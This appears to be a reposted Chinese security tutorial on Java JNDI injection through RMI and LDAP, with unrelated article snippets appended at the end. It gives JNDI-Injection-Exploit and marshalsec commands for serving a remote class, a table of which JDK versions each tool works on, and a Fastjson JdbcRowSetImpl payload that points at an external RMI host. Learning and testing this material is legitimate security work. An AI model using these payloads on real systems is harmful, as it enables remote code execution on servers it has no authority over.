Java安全—JNDI注入RMI服务LDAP服务JDK绕过

news/2024/11/26 22:03:11/

前言

上次讲到JNDI注入这个玩意,但是没有细讲,现在就给它详细地讲个明白。

JNDI注入

那什么是JNDI注入呢,JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源,NDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

我说白了JNDI其实就是一个接口,可以通过这个接口去调用一些远程服务。

先新建一个项目叫JNDI-demo。

JavaEE建议选择8。

接着新建一个类叫JNDIdemo。

写入以下的代码,当Java想要远程调用一个对象的时候,可以用javax.naming.InitialContext这个类的lookup方法来调用,这个调用支持Rmi和Ldap协议。

package com.sf.maven.jndidemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {public static void main(String[] args) throws NamingException {//创建rmi、ldap服务InitialContext ic = new InitialContext();//调用服务ic.lookup("");}
}

JNDI-Injection-Exploit

我们先创建一个rmi服务,还是利用JNDI-Injection-Exploit这个工具,命令就是弹出一个计算机。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx。xxx

代码填入我们的链接,直接运行代码可以看到弹出计算机。

marshalsec-0.0.3-SNAPSHOT

就相当于我本地电脑通过rmi去请求一个远程的class文件,并且执行里面的代码。如果我们换一个工具来搞的话效果会更直观,我们先新建一个名为Test的Java文件。

写入以下的代码,就是一个命令执行,弹出计算机。

来到Test的目录下面,把它编译成.class文件。

javac .\Test.java

把这个class文件放到web目录上面,或者你开个临时http服务也行。

python -m http.server 8080

现在利用marshalsec-0.0.3-SNAPSHOT-all.jar这个工具来生成调用链接,这个就没有JNDI-Injection-Exploit那么方便,要像上面那样自己编写class文件,不会根据命令给你自动生成。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test      //启动LDAP服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test      //启动RMI服务

可以看到会生成一个端口连接。

使用远程调用。

lookup(“ldap://xx.xx.xx.xx:1389/Test”)

lookup(“rmi://xx.xx.xx.xx:1099/Test”)

妈的不知道为啥一直弹不了计算机出来,但是RMI服务和http服务是显示有连接的,你妹的。

而且我java版本都是在1.8.0_112的啊。

崩溃啦,有无了解的师傅可以指点一二。

哎,接着我们来看看不同版本JDK或者不同的工具,是否都能调用JDK和RMI,过程就是不断换JDK版本去测试就行了,具体我就不演示了,直接给给过吧。

PS:8U112相当于1.8.0_112,其它的也是同理。

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以LDAP  - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以LDAP  - jndi-inject工具
DK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

这里网上搞的包浆图,可以看到不同的java版本所能调用的协议也是不同的。

或者你用其它的类也能达到JNDI注入

黑盒测试

那我们怎样去知道有无JNDI注入这个漏洞呢,我们可以通过发送错误数据去判断,这里发送个错误的json数据,然后报错中返回了fastjson,说明可能存在JNDI注入,然后利用DNSlog验证一下即可。

POC编写

假如我们知道有fastjson这个漏洞,该如何编写poc呢,上次我们演示fastjson的时候是自己写一个类com.wlwznb.user。

但是实战中我们不可能自己去写一个,得用java自带的,所以我们要指定com.sun.rowset.JdbcRowSetImpl这个类,但是上面我们说是通过javax.naming.InitialContext.lookup()这个方法来实现远程调用的,那为啥不指定这个。

其实是com.sun.rowset.JdbcRowSetImpl这个类里面自带了InitialContext.lookup()方法,由上面图片可见。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

总结

说实话JNDI对于不熟悉java的同学来说还是挺牢的,毕竟涉及了很多java开发的东西。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

参考文章:

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://blog.csdn.net/wushangyu32335/article/details/136131244

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/


http://www.ppmy.cn/news/1550154.html

相关文章

android-studio-4.2下载 、启动

下载 分享一个国内的android studio网站,可以下载SDK和一些Android studio开发工具 https://www.androiddevtools.cn/ 启动 JAVA_HOME/app/zulu17.48.15-ca-jdk17.0.10-linux_x64/ /app5/android-studio-home/android-studio-ide-201.6568795-linux-4.2C1/bin/s…

如何修复WordPress .htaccess文件

.htaccess文件是一个隐藏的配置文件,对WordPress网站的运行至关重要。它本质上是Apache Web服务器的指令集,而Apache Web服务器通常由你的WordPress主机运行。其核心功能之一是为你的博客文章和页面创建用户友好的URL。你还可以通过.htaccess文件来实现安…

数据结构 ——— 堆排序算法的实现

目录 前言 向下调整算法(默认建大堆) 堆排序算法的实现(默认升序) 前言 在之前几章学习了如何用向上调整算法和向下调整算法对数组进行建大/小堆数据结构 ——— 向上/向下调整算法将数组调整为升/降序_对数组进行降序排序代码…

44.扫雷第二部分、放置随机的雷,扫雷,炸死或成功 C语言

按照教程打完了。好几个bug都是自己打出来的。比如统计周围8个格子时,有一个各自加号填成了减号。我还以为平移了,一会显示是0一会显示是2。结果单纯的打错了。debug的时候断点放在scanf后面会顺畅一些。中间多放一些变量名方便监视。以及mine要多显示&a…

「Chromeg谷歌浏览器/Edge浏览器」篡改猴Tempermongkey插件的安装与使用

1. 谷歌浏览器安装及使用流程 1.1 准备篡改猴扩展程序包。 因为谷歌浏览器的扩展商城打不开,所以需要准备一个篡改猴压缩包。 其他浏览器只需打开扩展商城搜索篡改猴即可。 没有压缩包的可以进我主页下载。 也可直接点击下载:Chrome浏览器篡改猴(油猴…

代谢组数据分析(二十二):Zscore标准化后主成分分析(PCA)及热图展示

禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍Z-score标准化主成分分析(Principal Component Analysis,PCA)加载R包数据下载导入数据数据预处理填补缺失值Zscore标准化PCA分析热图展示代谢物聚类簇小提琴图聚类分析总结系统信…

JavaWeb——Mybatis

6. Mybatis MyBatis是一款优秀的持久层框架,用于简化JDBC的开发 6.1. Mybatis入门 6.1.1. 入门程序 6.1.2. JDBC 6.1.3. 数据库连接池 6.1.4. Lombok 6.2. Mybatis基础操作 6.2.1. 删除 6.2.1.1. 根据主键删除 6.2.1.2. 预编译SQL #{id}在编译过程中会替换成?…

Java将PDF保存为图片

将 PDF 文件转换为图片是常见的需求之一,特别是在需要将 PDF 内容以图像形式展示或处理时。其中最常用的是 Apache PDFBox。 使用 Apache PDFBox Apache PDFBox 是一个开源的 Java 库,可以用来处理 PDF 文档。它提供了将 PDF 页面转换为图像的功能。 …